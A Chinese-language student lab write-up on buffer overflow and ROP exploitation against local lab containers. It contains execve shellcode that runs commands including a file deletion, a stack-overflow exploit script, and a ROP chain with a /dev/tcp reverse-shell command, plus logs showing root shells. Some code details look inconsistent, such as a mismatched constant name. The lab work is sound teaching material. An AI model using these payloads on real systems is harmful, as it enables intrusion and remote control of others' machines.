

信安Lab1 Buffer Overflow & ROP Lab

Task1 熟悉shellcode

Shellcode 是一段精炼的机器代码，通常用作软件漏洞利用的载荷。它是直接由 CPU 执行的二进制指令，通常由汇编语言编写然后编译而成，被注入到目标程序的某个不确定的内存位置执行。必须尽可能短小，同时防止空字节终止。

起作用的原理就是用二进制指令填充内存从而能够被执行，然后用于实现目标。

Tools准备

shellcode 32.py用于创建攻击用的shellcode，call_shellcode.c用于检测shellcode有没有用。

以下为PPT示例的shellcode代码。可以看出shellcode能实现自动替换，实现功能为"/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd*"

```
#!/usr/bin/env python3
import sys

# shellcode that calls execve syscall
shellcode = (
    "\xeb\x1d\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c"
    "\x8d\x4b\x08\x8d\x53\x0c\xb0\x0b\xcd\x80\x31\xc0\xb0\x01"
    "\xcd\x80\xe8\xde\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd*"
    "AAAA" # placeholder for argv[0] --> "/bin/bash"
    "BBBB" # placeholder for argv[1] --> "-c"
    "CCCC" # placeholder for argv[2] --> the command string
    "DDDD" # placeholder for argv[3] --> NULL
)

# Write shellcode to badfile
filename = "badfile"
with open(filename, "wb") as f:
    f.write(shellcode.encode('latin-1'))

print(f"Shellcode written to {filename}")
print(f"Shellcode length: {len(shellcode)} bytes")
```

因此想让 shellcode 运行其他命令，只需修改命令字符串。不过修改时需要确保不要改变字符串的长度，因为 argv[] 数组占位符的起始位置是固定的。在 shellcode 文件夹中找到shellcode 32.py 和 shellcode 64.py，根据readme的要求make并运行生成的程序，得到以下结果：

```

mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ ./a32.out
total 38
-rwxr-xr-x 1 mrparticle mrparticle 160 Nov 9 21:01 Makefile
-rwxr-xr-x 1 mrparticle mrparticle 312 Nov 9 21:01 README.md
-rwxr-xr-x 1 mrparticle mrparticle 15740 Nov 9 21:08 a32.out
-rwxr-xr-x 1 mrparticle mrparticle 16888 Nov 9 21:08 a64.out
-rwxr-xr-x 1 mrparticle mrparticle 476 Nov 9 21:01 call_shellcode.c
-rwxr-xr-x 1 mrparticle mrparticle 136 Nov 9 21:12 codefile_32
-rwxr-xr-x 1 mrparticle mrparticle 165 Nov 9 21:12 codefile_64
-rwxr-xr-x 1 mrparticle mrparticle 1221 Nov 9 21:01 shellcode_32.py
-rwxr-xr-x 1 mrparticle mrparticle 1295 Nov 9 21:01 shellcode_64.py
Hello 32
mrparticle:x:1000:1000:ubuntu20.04,,,:/home/mrparticle:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:usr/sbin/nologin
mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ ./a64.out
total 38
-rwxr-xr-x 1 mrparticle mrparticle 160 Nov 9 21:01 Makefile
-rwxr-xr-x 1 mrparticle mrparticle 312 Nov 9 21:01 README.md
-rwxr-xr-x 1 mrparticle mrparticle 15740 Nov 9 21:08 a32.out
-rwxr-xr-x 1 mrparticle mrparticle 16888 Nov 9 21:08 a64.out
-rwxr-xr-x 1 mrparticle mrparticle 476 Nov 9 21:01 call_shellcode.c
-rwxr-xr-x 1 mrparticle mrparticle 136 Nov 9 21:12 codefile_32
-rwxr-xr-x 1 mrparticle mrparticle 165 Nov 9 21:12 codefile_64
-rwxr-xr-x 1 mrparticle mrparticle 1221 Nov 9 21:01 shellcode_32.py
-rwxr-xr-x 1 mrparticle mrparticle 1295 Nov 9 21:01 shellcode_64.py
Hello 64
gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false
sssd:x:127:132:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
mrparticle:x:1000:1000:ubuntu20.04,,,:/home/mrparticle:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:usr/sbin/nologin

```

可以看出实现了上述功能。

实验要求将其替换为删除文件的功能，因此更换命令行，同时为了位置不变要用空格补齐位

```

# The * in this line serves as the position marker *
"/bin/rm -f delete_target; echo The file has been deleted *"

```

```

mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ ls
call_shellcode.c delete_target Makefile README.md shellcode_32.py shellcode_64.py
mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ ./shellcode_32.py
mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ ./a32.out
The file has been deleted
mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$ ls
a32.out a64.out call_shellcode.c codefile_32 Makefile README.md shellcode_32.py shellcode_64.py
mrparticle@ubuntu:/mnt/hgfs/share-ubuntu20.04/Labsetup/Labsetup/shellcode$

```

由此可以看出能够实现删除文件的功能，此shellcode靠改变命令行起作用。

TASK2

照ppt要求在10.9.0.5，端口号为 9090上让一个 32 位程序收到攻击。首先通过命令看到目标container打印出的buffer地址和ebp地址。服务器最多会接受来自用户的 517 字节数据，这将导致缓冲区溢出。因此shellcode的start位置为start = 517 - len(shellcode)，剩下的部分都被填充来实现溢出。这样写就不用每次计算了，而且避免 shellcode 被意外截断。

```

[11/23/25]seed@VM:~/../server-code$ docker-compose up
Creating network "net-10.9.0.0" with the default driver
Creating server-2-10.9.0.6 ... done
Creating server-4-10.9.0.8 ... done
Creating server-3-10.9.0.7 ... done
Creating server-1-10.9.0.5 ... done
Attaching to server-4-10.9.0.8, server-1-10.9.0.5, server-3-10.9.0.7, server-2-10.9.0.6
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd718
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd6a8
server-1-10.9.0.5 | ==== Returned Properly ====

```

因为关闭了随机化所以每次值都一样，buffer地址为0xffffd6a8，帧指针地址为0xffffd718，因此返回地址在帧指针上方固定位置为0xffffd718 + 4 = 0xffffd71c，offset = 返回地址位置 - buffer起始地址 = 0xffffd71c - 0xffffd6a8 = 0x74。

```
#####  
# Put the shellcode somewhere in the payload  
start = 517-len(shellcode)          # Change this number  
content[start:start + len(shellcode)] = shellcode  
  
# Decide the return address value  
# and put it somewhere in the payload  
ret = 0xffffd71c                    # Change this number  
offset = 0x74                       # Change this number  
  
# Use 4 for 32-bit address and 8 for 64-bit address  
content[offset:offset + 4] = (ret).to_bytes(4, byteorder='little')  
#####
```

根据文本要求进行ip操作，可以看出反向shell已运行。

```
[11/24/25] seed@VM: ~/.../Lab1$ nc -nv -l 9090  
Listening on 0.0.0.0 9090  
Connection received on 10.9.0.5 47436  
root@b307695615b8:/bof#  
  
[11/24/25] seed@VM: ~/.../Lab1$ ./exploit.py  
bash: ./exploit.py: Permission denied  
[11/24/25] seed@VM: ~/.../Lab1$ python3 exploit.py  
[11/24/25] seed@VM: ~/.../Lab1$ cat badfile | nc 10.9.0.5 9090  
]
```

TASK3

要求使用 ROP 技术来绕过 NX 保护，利用目标系统（运行版本为 10.9.0.6，端口号仍为 9090）并创建一个反弹 shell。我们在前几部分所采用的方法是向缓冲区注入恶意的 shellcode，然后使易受攻击的程序跳转到存储在栈中的 shellcode。为了防止这类攻击，一些操作系统允许程序将其栈设置为不可执行状态；因此，跳转到 shellcode 会导致程序失败。由于栈上的代码被设置为不可执行状态，现在引入一种名为 ROP（基于返回的编程）的技术。ROP 用于通过利用程序中的现有代码段来构建攻击代码。ROP 的基本原理是利用程序中的现有代码段（也称为小工具），通过构建一个适当的代码段序列来修改栈中的指针，使其指向恶意代码的地址，从而控制程序的执行流程。要完成这部分内容，需要学习并熟悉堆栈布局，以及程序运行时堆栈指针的移动方式。接下来学习可用于 ROP 的方法。有一种叫做“系统调用”的机制。系统调用会从寄存器中读取参数并执行某些操作。我们可以使用名为“execve”的指令，它可用于执行具有指定名称的程序，例如“execve("/bin/sh")”。要使用 execve 函数，需要完成三个步骤

1. 将 eax 中的值改为 0x0b 的形式
2. 将 ebx 指针更改为指向 "/bin/sh" 字符串的指针
3. 跳转至"int 0x80"。

这样一来，该程序就会执行“execve('/bin/sh')”命令，并获得一个 shell 环境。但仍需解决两个子问题。第一个问题：很难将这些指令记住并保持连贯。幸运的是，我们有一个工具可以解决这个问题：ROPgadget。

只需使用 ROPgadget 来在二进制文件的“stack-L2”目录中查找指令即可，该目录与在 Docker 中运行的版本相同。第二个问题：如何创建反向连接？该程序可以通过调用“execve('/bin/bash')”来获取一个 shell，但无法继续接收外部输入，因此将会失去对其的控制。为解决此问题，建议使用“execve('/bin/bash')”并稍作修改：、

```
execve("/bin/bash", argv, envp)
```

需要按照上面提到的 3 个步骤进行操作，并设置 argv。argv 是通过 execve 执行的程序的“参数向量”。可以参考任务 0 和 1 中修改过的那一行，即在 shellcode 中用☆标出的那一行。这是可能要用到的系统调用表的具体部分。

name	eax	ebx	ecx	edx
execve	0x0b	const char *name	const char *const *argv	const char *const *envp

为了保证填写的数据不变，关闭地址随机化。

```
sudo /sbin/sysctl -w kernel.randomize_va_space=0
```

以下为构建ROP链的代码，因没有pop ecx，而要把ecx寄存器置0，所以用xor处理。

```
#!/usr/bin/python3
import sys
POP_EAX = 0x080b002a          # pop eax ; ret
POP_EDX_EBX = 0x0805eba9      # pop edx ; pop ebx ; ret
ADD_EAX = 0x08098890          # add eax, 3 ; ret
ADD_2_EAX = 0x08098877        # add eax, 2 ; ret
MOV_EAX_7 = 0x08098910        # mov eax, 7 ; ret
XOR_EAX_EAX = 0x0804fe50      # xor eax, eax ; ret
XOR_ECX_ECX_RET = 0x0804a82f  # xor ecx, ecx ; int 0x80
MOV_ECX_EAX = 0x08098968      # mov ecx, eax ; mov eax, ecx ; ret
xchg_edx_eax_ret = 0x08073d36 # xchg edx, eax ; ret
INT_0X80 = 0x0804a4b2         # int 0x80
POP_EBX = 0x08049022          # pop ebx ; ret
POP_EAX_EDX_EBX = 0x0805eba8  # pop eax ; pop edx ; pop ebx ; ret
XCHG_EDX_EAX = 0x08073d36     # xchg edx, eax ; ret

# 目标缓冲区地址（需要从程序输出中获取）
buf_addr = 0xffffd2a8
main_str_addr = buf_addr + 0x49f
bash_addr = main_str_addr + 300
zero_addr = main_str_addr + 400

# 构建payload
```

```

content = bytearray(0x90 for i in range(517))

# 在缓冲区中布置数据
# 1. 放置字符串
bash_str = b"/bin/bash\x00"
content[300:300+len(bash_str)] = bash_str
content[310:313] = b"-c\x00"
cmd_str = b"/bin/bash -c '/bin/bash -i >& /dev/tcp/10.9.0.1/9090 0>&1'\x00"
content[313:313+len(cmd_str)] = cmd_str
zero_str = b"\x00\x00\x00\x00"
content[400:404] = zero_str
content[200:204] = (bash_addr).to_bytes(4, byteorder='little')
content[204:208] = (main_str_addr + 310).to_bytes(4, byteorder='little')
content[208:212] = (main_str_addr + 313).to_bytes(4, byteorder='little')
content[212:216] = (0x00000000).to_bytes(4, byteorder='little')

# ROP链布局
offset = 116

# 构建ROP链:
# 1. 通过pop eax; pop edx; pop ebx; ret 先设置ebx为bash_str
content[offset:offset + 4] = (POP_EAX_EDX_EBX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (main_str_addr + 200).to_bytes(4,
byteorder='little')
offset += 4
content[offset:offset + 4] = (main_str_addr + 200).to_bytes(4,
byteorder='little')
offset += 4
content[offset:offset + 4] = (bash_addr).to_bytes(4, byteorder='little')
offset += 4

# 2. 将eax的值赋给ecx
content[offset:offset + 4] = (MOV_ECX_EAX).to_bytes(4, byteorder='little')
offset += 4

# 3. 设置edx = 0
content[offset:offset + 4] = (XOR_EAX_EAX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (XCHG_EDX_EAX).to_bytes(4, byteorder='little')
offset += 4

# 4. 设置eax=0x0b (execve系统调用号)
# 通过mov eax, 7; add eax, 2; add eax, 2, 将eax设置为0x0b (7+2+2=11)
content[offset:offset + 4] = (XOR_EAX_EAX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (MOV_EAX_7).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (ADD_2_EAX).to_bytes(4, byteorder='little')
offset += 4
content[offset:offset + 4] = (ADD_2_EAX).to_bytes(4, byteorder='little')
offset += 4

# 5. 执行系统调用
content[offset:offset + 4] = (INT_0x80).to_bytes(4, byteorder='little')
offset += 4

```

```
with open('badfile', 'wb') as f:  
    f.write(content)
```

得到badfile之后发送，可以看出能够得到shell控制权。

```
[11/26/25]seed@VM:~/.../server-code$ echo hello | nc 10.9.0.5 9090  
^C  
[11/26/25]seed@VM:~/.../server-code$ nc -lvnp 9090  
Listening on 0.0.0.0 9090  
Connection received on 10.9.0.6 51242  
root@dd16c1bfeb43:/bof# whoami  
whoami  
root  
root@dd16c1bfeb43:/bof# id  
id  
uid=0(root) gid=0(root) groups=0(root)  
root@dd16c1bfeb43:/bof#
```